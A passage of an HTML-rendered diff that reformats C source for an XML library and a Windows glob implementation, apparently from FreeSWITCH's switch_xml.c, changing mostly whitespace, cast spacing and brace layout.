</span><span class="lines">@@ -1999,8 +1997,9 @@
</span><span class="cx">
</span><span class="cx">         while (s != e) {
</span><span class="cx">                 while (*dlen + 10 > *max) {
</span><del>-                        char *tmp = (char *)realloc(*dst, *max += SWITCH_XML_BUFSIZE);
-                        if (!tmp) return *dst;
</del><ins>+                        char *tmp = (char *) realloc(*dst, *max += SWITCH_XML_BUFSIZE);
+                        if (!tmp)
+                                return *dst;
</ins><span class="cx">                         *dst = tmp;
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="lines">@@ -2009,39 +2008,39 @@
</span><span class="cx">                                 return *dst;
</span><span class="cx">                         }
</span><span class="cx">                         (*dst)[(*dlen)++] = *s;
</span><del>-                } else
</del><ins>+                } else
</ins><span class="cx">                         switch (*s) {
</span><del>-                case '\0':
-                        return *dst;
-                case '&':
-                        *dlen += sprintf(*dst + *dlen, "&amp;");
-                        break;
-                case '<':
-                        if (*(s+1) == '!') {
-                                (*dst)[(*dlen)++] = *s;
-                                immune++;
</del><ins>+                        case '\0':
+                                return *dst;
+                        case '&':
+                                *dlen += sprintf(*dst + *dlen, "&amp;");
</ins><span class="cx">                                 break;
</span><ins>+                        case '<':
+                                if (*(s + 1) == '!') {
+                                        (*dst)[(*dlen)++] = *s;
+                                        immune++;
+                                        break;
+                                }
+                                *dlen += sprintf(*dst + *dlen, "&lt;");
+                                break;
+                        case '>':
+                                *dlen += sprintf(*dst + *dlen, "&gt;");
+                                break;
+                        case '"':
+                                *dlen += sprintf(*dst + *dlen, (a) ? "&quot;" : "\"");
+                                break;
+                        case '\n':
+                                *dlen += sprintf(*dst + *dlen, (a) ? "&#xA;" : "\n");
+                                break;
+                        case '\t':
+                                *dlen += sprintf(*dst + *dlen, (a) ? "&#x9;" : "\t");
+                                break;
+                        case '\r':
+                                *dlen += sprintf(*dst + *dlen, "&#xD;");
+                                break;
+                        default:
+                                (*dst)[(*dlen)++] = *s;
</ins><span class="cx">                         }
</span><del>-                        *dlen += sprintf(*dst + *dlen, "&lt;");
-                        break;
-                case '>':
-                        *dlen += sprintf(*dst + *dlen, "&gt;");
-                        break;
-                case '"':
-                        *dlen += sprintf(*dst + *dlen, (a) ? "&quot;" : "\"");
-                        break;
-                case '\n':
-                        *dlen += sprintf(*dst + *dlen, (a) ? "&#xA;" : "\n");
-                        break;
-                case '\t':
-                        *dlen += sprintf(*dst + *dlen, (a) ? "&#x9;" : "\t");
-                        break;
-                case '\r':
-                        *dlen += sprintf(*dst + *dlen, "&#xD;");
-                        break;
-                default:
-                        (*dst)[(*dlen)++] = *s;
-                }
</del><span class="cx">                 s++;
</span><span class="cx">         }
</span><span class="cx">         return *dst;
</span><span class="lines">@@ -2051,24 +2050,25 @@
</span><span class="cx"> /* Recursively converts each tag to xml appending it to *s. Reallocates *s if
</span><span class="cx"> its length exceeds max. start is the location of the previous tag in the
</span><span class="cx"> parent tag's character content. Returns *s. */
</span><del>-static char *switch_xml_toxml_r(switch_xml_t xml, char **s, switch_size_t *len, switch_size_t *max, switch_size_t start, char ***attr, uint32_t * count)
</del><ins>+static char *switch_xml_toxml_r(switch_xml_t xml, char **s, switch_size_t *len, switch_size_t *max, switch_size_t start, char ***attr, uint32_t *count)
</ins><span class="cx"> {
</span><span class="cx">         int i, j;
</span><span class="cx">         char *txt;
</span><span class="cx">         switch_size_t off;
</span><span class="cx">         uint32_t lcount;
</span><span class="cx">
</span><del>-tailrecurse:
</del><ins>+ tailrecurse:
</ins><span class="cx">         off = 0;
</span><span class="cx">         lcount = 0;
</span><del>-        txt = (char *)(xml->parent) ? xml->parent->txt : (char *)"";
</del><ins>+        txt = (char *) (xml->parent) ? xml->parent->txt : (char *) "";
</ins><span class="cx">
</span><span class="cx">         /* parent character content up to this tag */
</span><span class="cx">         *s = switch_xml_ampencode(txt + start, xml->off - start, s, len, max, 0);
</span><span class="cx">
</span><span class="cx">         while (*len + strlen(xml->name) + 5 + (strlen(XML_INDENT) * (*count)) + 1 > *max) {        /* reallocate s */
</span><del>-                char *tmp = (char *)realloc(*s, *max += SWITCH_XML_BUFSIZE);
-                if (!tmp) return *s;
</del><ins>+                char *tmp = (char *) realloc(*s, *max += SWITCH_XML_BUFSIZE);
+                if (!tmp)
+                        return *s;
</ins><span class="cx">                 *s = tmp;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -2084,8 +2084,9 @@
</span><span class="cx">                 if (switch_xml_attr(xml, xml->attr[i]) != xml->attr[i + 1])
</span><span class="cx">                         continue;
</span><span class="cx">                 while (*len + strlen(xml->attr[i]) + 7 + (strlen(XML_INDENT) * (*count)) > *max) {        /* reallocate s */
</span><del>-                        char *tmp = (char *)realloc(*s, *max += SWITCH_XML_BUFSIZE);
-                        if (!tmp) return *s;
</del><ins>+                        char *tmp = (char *) realloc(*s, *max += SWITCH_XML_BUFSIZE);
+                        if (!tmp)
+                                return *s;
</ins><span class="cx">                         *s = tmp;
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="lines">@@ -2099,8 +2100,9 @@
</span><span class="cx">                 if (!attr[i][j + 1] || switch_xml_attr(xml, attr[i][j]) != attr[i][j + 1])
</span><span class="cx">                         continue;                        /* skip duplicates and non-values */
</span><span class="cx">                 while (*len + strlen(attr[i][j]) + 8 + (strlen(XML_INDENT) * (*count)) > *max) {        /* reallocate s */
</span><del>-                        char *tmp = (char *)realloc(*s, *max += SWITCH_XML_BUFSIZE);
-                        if (!tmp) return *s;
</del><ins>+                        char *tmp = (char *) realloc(*s, *max += SWITCH_XML_BUFSIZE);
+                        if (!tmp)
+                                return *s;
</ins><span class="cx">                         *s = tmp;
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="lines">@@ -2120,10 +2122,11 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         while (*len + strlen(xml->name) + 5 + (strlen(XML_INDENT) * (*count)) > *max) {        /* reallocate s */
</span><del>-                        char *tmp = (char *)realloc(*s, *max += SWITCH_XML_BUFSIZE);
-                        if (!tmp) return *s;
-                        *s = tmp;
-                }
</del><ins>+                char *tmp = (char *) realloc(*s, *max += SWITCH_XML_BUFSIZE);
+                if (!tmp)
+                        return *s;
+                *s = tmp;
+        }
</ins><span class="cx">
</span><span class="cx">         if (xml->child || xml->txt) {
</span><span class="cx">                 if (*(*s + (*len) - 1) == '\n') {
</span><span class="lines">@@ -2155,7 +2158,7 @@
</span><span class="cx"> {
</span><span class="cx">         char *r, *s;
</span><span class="cx">         switch_mutex_lock(XML_GEN_LOCK);
</span><del>-        s = (char *)malloc(SWITCH_XML_BUFSIZE);
</del><ins>+        s = (char *) malloc(SWITCH_XML_BUFSIZE);
</ins><span class="cx">         switch_assert(s);
</span><span class="cx">         r = switch_xml_toxml_buf(xml, s, SWITCH_XML_BUFSIZE, 0, prn_header);
</span><span class="cx">         switch_mutex_unlock(XML_GEN_LOCK);
</span><span class="lines">@@ -2172,7 +2175,7 @@
</span><span class="cx">         char *s, *t, *n, *r;
</span><span class="cx">         int i, j, k;
</span><span class="cx">         uint32_t count = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         s = buf;
</span><span class="cx">         assert(s != NULL);
</span><span class="cx">         memset(s, 0, max);
</span><span class="lines">@@ -2180,9 +2183,9 @@
</span><span class="cx">         if (prn_header) {
</span><span class="cx">                 len += sprintf(s + len, "<?xml version=\"1.0\"?>\n");
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!xml || !xml->name) {
</span><del>-                if (!(r = (char *)realloc(s, len + 1))) {
</del><ins>+                if (!(r = (char *) realloc(s, len + 1))) {
</ins><span class="cx">                         abort();
</span><span class="cx">                 }
</span><span class="cx">                 return r;
</span><span class="lines">@@ -2199,7 +2202,7 @@
</span><span class="cx">                                 continue;                /* not pre-root */
</span><span class="cx">                         }
</span><span class="cx">                         while (len + strlen(t = root->pi[i][0]) + strlen(n) + 7 > max) {
</span><del>-                                if (!(r = (char *)realloc(s, max += SWITCH_XML_BUFSIZE))) {
</del><ins>+                                if (!(r = (char *) realloc(s, max += SWITCH_XML_BUFSIZE))) {
</ins><span class="cx">                                         abort();
</span><span class="cx">                                 }
</span><span class="cx">                                 s = r;
</span><span class="lines">@@ -2220,7 +2223,7 @@
</span><span class="cx">                                 continue;                /* not post-root */
</span><span class="cx">                         }
</span><span class="cx">                         while (len + strlen(t = root->pi[i][0]) + strlen(n) + 7 > max) {
</span><del>-                                if (!(r = (char *)realloc(s, max += SWITCH_XML_BUFSIZE))) {
</del><ins>+                                if (!(r = (char *) realloc(s, max += SWITCH_XML_BUFSIZE))) {
</ins><span class="cx">                                         abort();
</span><span class="cx">                                 }
</span><span class="cx">                                 s = r;
</span><span class="lines">@@ -2229,7 +2232,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (!(r = (char *)realloc(s, len + 1))) {
</del><ins>+        if (!(r = (char *) realloc(s, len + 1))) {
</ins><span class="cx">                 abort();
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -2244,8 +2247,8 @@
</span><span class="cx">         char **a, *s;
</span><span class="cx">         switch_xml_t orig_xml;
</span><span class="cx">
</span><del>-tailrecurse:
-         root = (switch_xml_root_t) xml;
</del><ins>+ tailrecurse:
+        root = (switch_xml_root_t) xml;
</ins><span class="cx">         if (!xml) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="lines">@@ -2265,11 +2268,11 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch_xml_free(xml->child);
</span><del>-        /*switch_xml_free(xml->ordered);*/
</del><ins>+        /*switch_xml_free(xml->ordered); */
</ins><span class="cx">
</span><span class="cx">         if (!xml->parent) {                        /* free root tag allocations */
</span><span class="cx"> #if (_MSC_VER >= 1400)                        // VC8+
</span><del>-                __analysis_assume(sizeof(root->ent) > 44); /* tail recursion confuses code analysis */
</del><ins>+                __analysis_assume(sizeof(root->ent) > 44);        /* tail recursion confuses code analysis */
</ins><span class="cx"> #endif
</span><span class="cx">                 for (i = 10; root->ent[i]; i += 2)        /* 0 - 9 are default entities (<>&"') */
</span><span class="cx">                         if ((s = root->ent[i + 1]) < root->s || s > root->e)
</span><span class="lines">@@ -2332,12 +2335,13 @@
</span><span class="cx">                 "apos;", "&#39;", "amp;", "&#38;", NULL
</span><span class="cx">         };
</span><span class="cx">         switch_xml_root_t root = (switch_xml_root_t) malloc(sizeof(struct switch_xml_root));
</span><del>-        if (!root) return NULL;
</del><ins>+        if (!root)
+                return NULL;
</ins><span class="cx">         memset(root, '\0', sizeof(struct switch_xml_root));
</span><span class="cx">         root->xml.name = (char *) name;
</span><span class="cx">         root->cur = &root->xml;
</span><del>-        strcpy(root->err, root->xml.txt = (char *)"");
-        root->ent = (char **)memcpy(malloc(sizeof(ent)), ent, sizeof(ent));
</del><ins>+        strcpy(root->err, root->xml.txt = (char *) "");
+        root->ent = (char **) memcpy(malloc(sizeof(ent)), ent, sizeof(ent));
</ins><span class="cx">         root->attr = root->pi = (char ***) (root->xml.attr = SWITCH_XML_NIL);
</span><span class="cx">         return &root->xml;
</span><span class="cx"> }
</span><span class="lines">@@ -2388,14 +2392,16 @@
</span><span class="cx"> {
</span><span class="cx">         switch_xml_t child;
</span><span class="cx">
</span><del>-        if (!xml) return NULL;
-        if (!(child = (switch_xml_t) malloc(sizeof(struct switch_xml)))) return NULL;
</del><ins>+        if (!xml)
+                return NULL;
+        if (!(child = (switch_xml_t) malloc(sizeof(struct switch_xml))))
+                return NULL;
</ins><span class="cx">         memset(child, '\0', sizeof(struct switch_xml));
</span><span class="cx">         child->name = (char *) name;
</span><span class="cx">         child->attr = SWITCH_XML_NIL;
</span><span class="cx">         child->off = off;
</span><span class="cx">         child->parent = xml;
</span><del>-        child->txt = (char *)"";
</del><ins>+        child->txt = (char *) "";
</ins><span class="cx">
</span><span class="cx">         return switch_xml_insert(child, xml, off);
</span><span class="cx"> }
</span><span class="lines">@@ -2426,18 +2432,20 @@
</span><span class="cx">                 if (!value)
</span><span class="cx">                         return xml;                        /* nothing to do */
</span><span class="cx">                 if (xml->attr == SWITCH_XML_NIL) {        /* first attribute */
</span><del>-                        xml->attr = (char **)malloc(4 * sizeof(char *));
-                        if (!xml->attr) return NULL;
</del><ins>+                        xml->attr = (char **) malloc(4 * sizeof(char *));
+                        if (!xml->attr)
+                                return NULL;
</ins><span class="cx">                         xml->attr[1] = strdup("");        /* empty list of malloced names/vals */
</span><span class="cx">                 } else {
</span><del>-                        char **tmp = (char **)realloc(xml->attr, (l + 4) * sizeof(char *));
-                        if (!tmp) return xml;
</del><ins>+                        char **tmp = (char **) realloc(xml->attr, (l + 4) * sizeof(char *));
+                        if (!tmp)
+                                return xml;
</ins><span class="cx">                         xml->attr = tmp;
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 xml->attr[l] = (char *) name;        /* set attribute name */
</span><span class="cx">                 xml->attr[l + 2] = NULL;        /* null terminate attribute list */
</span><del>-                xml->attr[l + 3] = (char *)realloc(xml->attr[l + 1], (c = (int) strlen(xml->attr[l + 1])) + 2);
</del><ins>+                xml->attr[l + 3] = (char *) realloc(xml->attr[l + 1], (c = (int) strlen(xml->attr[l + 1])) + 2);
</ins><span class="cx">                 strcpy(xml->attr[l + 3] + c, " ");        /* set name/value as not malloced */
</span><span class="cx">                 if (xml->flags & SWITCH_XML_DUP)
</span><span class="cx">                         xml->attr[l + 3][c] = SWITCH_XML_NAMEM;
</span><span class="lines">@@ -2459,8 +2467,9 @@
</span><span class="cx">                 if (xml->attr[c + 1][l / 2] & SWITCH_XML_NAMEM)
</span><span class="cx">                         free(xml->attr[l]);
</span><span class="cx">                 memmove(xml->attr + l, xml->attr + l + 2, (c - l + 2) * sizeof(char *));
</span><del>-                tmp =(char **)realloc(xml->attr, (c + 2) * sizeof(char *));
-                if (!tmp) return xml;
</del><ins>+                tmp = (char **) realloc(xml->attr, (c + 2) * sizeof(char *));
+                if (!tmp)
+                        return xml;
</ins><span class="cx">                 xml->attr = tmp;
</span><span class="cx">                 memmove(xml->attr[c + 1] + (l / 2), xml->attr[c + 1] + (l / 2) + 1, (c / 2) - (l / 2));        /* fix list of which name/vals are malloced */
</span><span class="cx">         }
</span><span class="lines">@@ -2591,24 +2600,24 @@
</span><span class="cx"> #define MAXPATHLEN 256
</span><span class="cx"> #endif
</span><span class="cx">
</span><del>-static int         compare(const void *, const void *);
-static int         glob0(const char *, glob_t *, size_t *);
-static int         glob1(char *, glob_t *, size_t *);
-static int         glob2(char *, char *, char *, char *, glob_t *, size_t *);
-static int         glob3(char *, char *, char *, char *, char *, glob_t *, size_t *);
-static int         globextend(const char *, glob_t *, size_t *);
-static int         match(char *, char *, char *);
</del><ins>+static int compare(const void *, const void *);
+static int glob0(const char *, glob_t *, size_t *);
+static int glob1(char *, glob_t *, size_t *);
+static int glob2(char *, char *, char *, char *, glob_t *, size_t *);
+static int glob3(char *, char *, char *, char *, char *, glob_t *, size_t *);
+static int globextend(const char *, glob_t *, size_t *);
+static int match(char *, char *, char *);
</ins><span class="cx">
</span><span class="cx"> #pragma warning(push)
</span><span class="cx"> #pragma warning(disable:4310)
</span><span class="cx">
</span><del>-int glob(const char *pattern, int flags, int (*errfunc)(const char *, int), glob_t *pglob)
</del><ins>+int glob(const char *pattern, int flags, int (*errfunc) (const char *, int), glob_t *pglob)
</ins><span class="cx"> {
</span><span class="cx">         const unsigned char *patnext;
</span><span class="cx">         size_t limit;
</span><span class="cx">         char c;
</span><span class="cx">         char *bufnext, *bufend, patbuf[MAXPATHLEN];
</span><del>-        
</del><ins>+
</ins><span class="cx">         patnext = (unsigned char *) pattern;
</span><span class="cx">         if (!(flags & GLOB_APPEND)) {
</span><span class="cx">                 pglob->gl_pathc = 0;
</span><span class="lines">@@ -2625,13 +2634,13 @@
</span><span class="cx">         pglob->gl_flags = flags & ~GLOB_MAGCHAR;
</span><span class="cx">         pglob->gl_errfunc = errfunc;
</span><span class="cx">         pglob->gl_matchc = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         bufnext = patbuf;
</span><span class="cx">         bufend = bufnext + MAXPATHLEN - 1;
</span><span class="cx">         while (bufnext < bufend && (c = *patnext++) != EOS)
</span><span class="cx">                 *bufnext++ = c;
</span><span class="cx">         *bufnext = EOS;
</span><del>-        
</del><ins>+
</ins><span class="cx">         return glob0(patbuf, pglob, &limit);
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -2647,66 +2656,64 @@
</span><span class="cx">         int c, err;
</span><span class="cx">         size_t oldpathc;
</span><span class="cx">         char *bufnext, patbuf[MAXPATHLEN];
</span><del>-        
</del><ins>+
</ins><span class="cx">         qpatnext = pattern;
</span><span class="cx">         oldpathc = pglob->gl_pathc;
</span><span class="cx">         bufnext = patbuf;
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* We don't need to check for buffer overflow any more. */
</span><span class="cx">         while ((c = *qpatnext++) != EOS) {
</span><span class="cx">                 switch (c) {
</span><del>-                        case SEP:
-                                *bufnext++ = WIN_SEP;
-                                break;
-                        case LBRACKET:
-                                c = *qpatnext;
</del><ins>+                case SEP:
+                        *bufnext++ = WIN_SEP;
+                        break;
+                case LBRACKET:
+                        c = *qpatnext;
+                        if (c == NOT)
+                                ++qpatnext;
+                        if (*qpatnext == EOS || strchr((char *) qpatnext + 1, RBRACKET) == NULL) {
+                                *bufnext++ = LBRACKET;
</ins><span class="cx">                                 if (c == NOT)
</span><del>-                                        ++qpatnext;
-                                if (*qpatnext == EOS ||
-                                        strchr((char *) qpatnext+1, RBRACKET) == NULL) {
-                                        *bufnext++ = LBRACKET;
-                                        if (c == NOT)
-                                                --qpatnext;
-                                        break;
-                                }
-                                *bufnext++ = M_SET;
-                                if (c == NOT)
-                                        *bufnext++ = M_NOT;
-                                c = *qpatnext++;
-                                do {
-                                        *bufnext++ = CHAR(c);
-                                        if (*qpatnext == RANGE &&
-                                                (c = qpatnext[1]) != RBRACKET) {
-                                                *bufnext++ = M_RNG;
-                                                *bufnext++ = CHAR(c);
-                                                qpatnext += 2;
-                                        }
-                                } while ((c = *qpatnext++) != RBRACKET);
-                                pglob->gl_flags |= GLOB_MAGCHAR;
-                                *bufnext++ = M_END;
</del><ins>+                                        --qpatnext;
</ins><span class="cx">                                 break;
</span><del>-                        case QUESTION:
-                                pglob->gl_flags |= GLOB_MAGCHAR;
-                                *bufnext++ = M_ONE;
-                                break;
-                        case STAR:
-                                pglob->gl_flags |= GLOB_MAGCHAR;
-                                /* collapse adjacent stars to one,
-                                 * to avoid exponential behavior
-                                 */
-                                if (bufnext == patbuf || bufnext[-1] != M_ALL)
-                                        *bufnext++ = M_ALL;
-                                break;
-                        default:
</del><ins>+                        }
+                        *bufnext++ = M_SET;
+                        if (c == NOT)
+                                *bufnext++ = M_NOT;
+                        c = *qpatnext++;
+                        do {
</ins><span class="cx">                                 *bufnext++ = CHAR(c);
</span><del>-                                break;
</del><ins>+                                if (*qpatnext == RANGE && (c = qpatnext[1]) != RBRACKET) {
+                                        *bufnext++ = M_RNG;
+                                        *bufnext++ = CHAR(c);
+                                        qpatnext += 2;
+                                }
+                        } while ((c = *qpatnext++) != RBRACKET);
+                        pglob->gl_flags |= GLOB_MAGCHAR;
+                        *bufnext++ = M_END;
+                        break;
+                case QUESTION:
+                        pglob->gl_flags |= GLOB_MAGCHAR;
+                        *bufnext++ = M_ONE;
+                        break;
+                case STAR:
+                        pglob->gl_flags |= GLOB_MAGCHAR;
+                        /* collapse adjacent stars to one,
+                         * to avoid exponential behavior
+                         */
+                        if (bufnext == patbuf || bufnext[-1] != M_ALL)
+                                *bufnext++ = M_ALL;
+                        break;
+                default:
+                        *bufnext++ = CHAR(c);
+                        break;
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">         *bufnext = EOS;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((err = glob1(patbuf, pglob, limit)) != 0)
</span><del>-                return(err);
-        
</del><ins>+                return (err);
+
</ins><span class="cx">         /*
</span><span class="cx">          * If there was no match we are going to append the pattern
</span><span class="cx">          * if GLOB_NOCHECK was specified or if GLOB_NOMAGIC was specified
</span><span class="lines">@@ -2714,33 +2721,29 @@
</span><span class="cx">          * GLOB_NOMAGIC is there just for compatibility with csh.
</span><span class="cx">          */
</span><span class="cx">         if (pglob->gl_pathc == oldpathc) {
</span><del>-                if (((pglob->gl_flags & GLOB_NOCHECK) ||
-                         ((pglob->gl_flags & GLOB_NOMAGIC) &&
-                         !(pglob->gl_flags & GLOB_MAGCHAR))))
-                        return(globextend(pattern, pglob, limit));
</del><ins>+                if (((pglob->gl_flags & GLOB_NOCHECK) || ((pglob->gl_flags & GLOB_NOMAGIC) && !(pglob->gl_flags & GLOB_MAGCHAR))))
+                        return (globextend(pattern, pglob, limit));
</ins><span class="cx">                 else
</span><del>-                        return(GLOB_NOMATCH);
</del><ins>+                        return (GLOB_NOMATCH);
</ins><span class="cx">         }
</span><span class="cx">         if (!(pglob->gl_flags & GLOB_NOSORT))
</span><del>-                qsort(pglob->gl_pathv + pglob->gl_offs + oldpathc,
-                         pglob->gl_pathc - oldpathc, sizeof(char *), compare);
-        return(0);
</del><ins>+                qsort(pglob->gl_pathv + pglob->gl_offs + oldpathc, pglob->gl_pathc - oldpathc, sizeof(char *), compare);
+        return (0);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static int compare(const void *p, const void *q)
</span><span class="cx"> {
</span><del>-        return(strcmp(*(char **)p, *(char **)q));
</del><ins>+        return (strcmp(*(char **) p, *(char **) q));
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static int glob1(char *pattern, glob_t *pglob, size_t *limit)
</span><span class="cx"> {
</span><span class="cx">         char pathbuf[MAXPATHLEN];
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* A null pathname is invalid -- POSIX 1003.1 sect. 2.4. */
</span><span class="cx">         if (*pattern == EOS)
</span><del>-                return(0);
-        return(glob2(pathbuf, pathbuf, pathbuf + MAXPATHLEN - 1,
-                                 pattern, pglob, limit));
</del><ins>+                return (0);
+        return (glob2(pathbuf, pathbuf, pathbuf + MAXPATHLEN - 1, pattern, pglob, limit));
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*
</span><span class="lines">@@ -2753,27 +2756,27 @@
</span><span class="cx">         struct stat sb;
</span><span class="cx">         char *p, *q;
</span><span class="cx">         int anymeta;
</span><del>-        
</del><ins>+
</ins><span class="cx">         /*
</span><span class="cx">          * Loop over pattern segments until end of pattern or until
</span><span class="cx">          * segment with meta character found.
</span><span class="cx">          */
</span><span class="cx">         for (anymeta = 0;;) {
</span><del>-                if (*pattern == EOS) {                /* End of pattern? */
</del><ins>+                if (*pattern == EOS) {        /* End of pattern? */
</ins><span class="cx">                         *pathend = EOS;
</span><span class="cx">                         if (stat(pathbuf, &sb))
</span><del>-                                return(0);
-                        
-                        if (((pglob->gl_flags & GLOB_MARK) && pathend[-1] != SEP && pathend[-1] != WIN_SEP) && (_S_IFDIR & sb.st_mode) ) {
</del><ins>+                                return (0);
+
+                        if (((pglob->gl_flags & GLOB_MARK) && pathend[-1] != SEP && pathend[-1] != WIN_SEP) && (_S_IFDIR & sb.st_mode)) {
</ins><span class="cx">                                 if (pathend + 1 > pathend_last)
</span><span class="cx">                                         return (GLOB_ABORTED);
</span><span class="cx">                                 *pathend++ = WIN_SEP;
</span><span class="cx">                                 *pathend = EOS;
</span><span class="cx">                         }
</span><span class="cx">                         ++pglob->gl_matchc;
</span><del>-                        return(globextend(pathbuf, pglob, limit));
</del><ins>+                        return (globextend(pathbuf, pglob, limit));
</ins><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 /* Find end of next segment, copy tentatively to pathend. */
</span><span class="cx">                 q = pathend;
</span><span class="cx">                 p = pattern;
</span><span class="lines">@@ -2784,8 +2787,8 @@
</span><span class="cx">                                 return (GLOB_ABORTED);
</span><span class="cx">                         *q++ = *p++;
</span><span class="cx">                 }
</span><del>-                
-                if (!anymeta) {                /* No expansion, do next segment. */
</del><ins>+
+                if (!anymeta) {                        /* No expansion, do next segment. */
</ins><span class="cx">                         pathend = q;
</span><span class="cx">                         pattern = p;
</span><span class="cx">                         while (*pattern == SEP || *pattern == WIN_SEP) {
</span><span class="lines">@@ -2793,9 +2796,8 @@
</span><span class="cx">                                         return (GLOB_ABORTED);
</span><span class="cx">                                 *pathend++ = *pattern++;
</span><span class="cx">                         }
</span><del>-                } else                        /* Need expansion, recurse. */
-                        return(glob3(pathbuf, pathend, pathend_last, pattern, p,
-                                                 pglob, limit));
</del><ins>+                } else                                        /* Need expansion, recurse. */
+                        return (glob3(pathbuf, pathend, pathend_last, pattern, p, pglob, limit));
</ins><span class="cx">         }
</span><span class="cx">         /* NOTREACHED */
</span><span class="cx"> }
</span><span class="lines">@@ -2803,63 +2805,60 @@
</span><span class="cx"> static int glob3(char *pathbuf, char *pathend, char *pathend_last, char *pattern, char *restpattern, glob_t *pglob, size_t *limit)
</span><span class="cx"> {
</span><span class="cx">         int err;
</span><del>-        apr_dir_t * dirp;
-        apr_pool_t * pool;
-        
</del><ins>+        apr_dir_t *dirp;
+        apr_pool_t *pool;
+
</ins><span class="cx">         apr_pool_create(&pool, NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (pathend > pathend_last)
</span><span class="cx">                 return (GLOB_ABORTED);
</span><span class="cx">         *pathend = EOS;
</span><span class="cx">         errno = 0;
</span><del>-        
-        if (apr_dir_open (&dirp, pathbuf, pool) != APR_SUCCESS) {
</del><ins>+
+        if (apr_dir_open(&dirp, pathbuf, pool) != APR_SUCCESS) {
</ins><span class="cx">                 /* TODO: don't call for ENOENT or ENOTDIR? */
</span><span class="cx">                 apr_pool_destroy(pool);
</span><span class="cx">                 if (pglob->gl_errfunc) {
</span><del>-                        if (pglob->gl_errfunc(pathbuf, errno) ||
-                         pglob->gl_flags & GLOB_ERR)
</del><ins>+                        if (pglob->gl_errfunc(pathbuf, errno) || pglob->gl_flags & GLOB_ERR)
</ins><span class="cx">                                 return (GLOB_ABORTED);
</span><span class="cx">                 }
</span><del>-                return(0);
</del><ins>+                return (0);
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         err = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* Search directory for matching names. */
</span><del>-        while (dirp)
-        {
</del><ins>+        while (dirp) {
</ins><span class="cx">                 apr_finfo_t dp;
</span><span class="cx">                 unsigned char *sc;
</span><span class="cx">                 char *dc;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (apr_dir_read(&dp, APR_FINFO_NAME, dirp) != APR_SUCCESS)
</span><span class="cx">                         break;
</span><span class="cx">                 if (!(dp.valid & APR_FINFO_NAME) || !(dp.name) || !strlen(dp.name))
</span><span class="cx">                         break;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 /* Initial DOT must be matched literally. */
</span><span class="cx">                 if (dp.name[0] == DOT && *pattern != DOT)
</span><span class="cx">                         continue;
</span><span class="cx">                 dc = pathend;
</span><span class="cx">                 sc = (unsigned char *) dp.name;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 while (dc < pathend_last && (*dc++ = *sc++) != EOS);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!match(pathend, pattern, restpattern)) {
</span><span class="cx">                         *pathend = EOS;
</span><span class="cx">                         continue;
</span><span class="cx">                 }
</span><del>-                err = glob2(pathbuf, --dc, pathend_last, restpattern,
-                                        pglob, limit);
</del><ins>+                err = glob2(pathbuf, --dc, pathend_last, restpattern, pglob, limit);
</ins><span class="cx">                 if (err)
</span><span class="cx">                         break;
</span><span class="cx">         }
</span><del>-        
-        if (dirp)
-                apr_dir_close (dirp);
</del><ins>+
+        if (dirp)
+                apr_dir_close(dirp);
</ins><span class="cx">         apr_pool_destroy(pool);
</span><del>-        return(err);
</del><ins>+        return (err);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -2880,45 +2879,43 @@
</span><span class="cx"> static int globextend(const char *path, glob_t *pglob, size_t *limit)
</span><span class="cx"> {
</span><span class="cx">         char **pathv;
</span><del>-        char * copy;
</del><ins>+        char *copy;
</ins><span class="cx">         size_t i;
</span><span class="cx">         size_t newsize, len;
</span><span class="cx">         const char *p;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (*limit && pglob->gl_pathc > *limit) {
</span><span class="cx">                 errno = 0;
</span><span class="cx">                 return (GLOB_NOSPACE);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         newsize = sizeof(*pathv) * (2 + pglob->gl_pathc + pglob->gl_offs);
</span><del>-        pathv = pglob->gl_pathv ?
-        realloc((char *)pglob->gl_pathv, newsize) :
-        malloc(newsize);
</del><ins>+        pathv = pglob->gl_pathv ? realloc((char *) pglob->gl_pathv, newsize) : malloc(newsize);
</ins><span class="cx">         if (pathv == NULL) {
</span><span class="cx">                 if (pglob->gl_pathv) {
</span><span class="cx">                         free(pglob->gl_pathv);
</span><span class="cx">                         pglob->gl_pathv = NULL;
</span><span class="cx">                 }
</span><del>-                return(GLOB_NOSPACE);
</del><ins>+                return (GLOB_NOSPACE);
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (pglob->gl_pathv == NULL && pglob->gl_offs > 0) {
</span><span class="cx">                 /* first time around -- clear initial gl_offs items */
</span><span class="cx">                 pathv += pglob->gl_offs;
</span><del>-                for (i = pglob->gl_offs; i-- > 0; )
</del><ins>+                for (i = pglob->gl_offs; i-- > 0;)
</ins><span class="cx">                         *--pathv = NULL;
</span><span class="cx">         }
